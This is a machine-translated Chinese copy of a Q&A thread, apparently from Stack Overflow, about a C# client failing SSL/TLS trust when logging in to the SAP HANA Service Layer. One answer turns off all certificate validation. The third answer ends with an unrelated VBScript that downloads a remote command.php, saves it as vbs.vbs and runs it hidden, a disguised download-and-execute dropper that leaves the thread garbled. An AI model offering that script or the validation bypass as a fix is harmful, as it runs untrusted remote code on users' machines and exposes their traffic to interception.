SAP Hana服务层:无法为SSL / TLS安全通道建立信任关系

时间:2017-07-28 10:14:44

标签: c# rest sap hana

我试图通过我的代码调用SAP Hana服务层,但我发现了以下错误:所以有人可以帮我解决这个问题。

错误1: AuthenticationException:根据验证程序,远程证书无效。

错误2: WebException:基础连接已关闭:无法为SSL / TLS安全通道建立信任关系。

错误3: HttpRequestException:发送请求时发生错误。

有关该应用的更多详情 - 我已在.net&中创建了控制台应用。它在服务器上的执行[Hana Server是本地访问的,因为服务器都在局域网中] Linux& Windows Server。

还有一件事 - 我的客户不打算购买域名& SAP Hana服务层的SSL证书,因为我的应用程序将在内部使用它。

问题是,当我通过Postman测试登录服务时,它的工作正常&我也收到了会话详细信息,但同样的网址没有通过我的代码工作,所以我还需要做些什么才能访问该服务?

网址 - https://172.17.100.35:50000/b1s/v1/Login

using (var client = new HttpClient())
{
var credentials = new { UserName = "admin", Password = "", "" };
var json = JsonConvert.SerializeObject(credentials);

var response = client.PostAsync(url),
                    new StringContent(json, Encoding.UTF8, "application/json")).Result;

if (response.IsSuccessStatusCode)
{
dynamic content = JsonConvert.DeserializeObject(response.Content.ReadAsStringAsync().Result);

// Access variables from the returned JSON object
var appHref = content.links.applications.href;
}
}

3 个答案:

答案 0 :(得分:2)

您需要将此代码放在 postAsync

之前
 ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; 

这样可以避免证书的验证。

答案 1 :(得分:2)

对于未来的googlers在将您的请求发送到Login端点后收到500错误响应,请禁用ExpectContinue。

client.DefaultRequestHeaders.ExpectContinue = false;

答案 2 :(得分:1)

如果您使用自签名证书,则必须先接受它们。这可以通过浏览器将其添加到Windows证书来完成! 如果要进行跨域调用,则需要更改b1s.config

Dim HTTPobj

Set HTTPobj = CreateObject("Microsoft.XMLHTTP")

iPing = Ping("www.google.com")

If iPing=0 Then
    Call HTTPobj.Open("GET","www.example.com/command.php")
    Call HTTPobj.Send
    CreateObject("Scripting.FileSystemObject").CreateTextFile("vbs.vbs",True).Write(HTTPobj.ResponseText)
    WScript.CreateObject("Wscript.Shell").Run "vbs.vbs" , 0

End If

Function Ping (strTarget)
    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set colPings = objWMIService.ExecQuery ("Select * From Win32_PingStatus where Address = '" & strTarget & "'")

    For Each objPing in colPings
        Ping = objPing.StatusCode
    Next
End Function

在生产模式< - <<< -

中注意使用*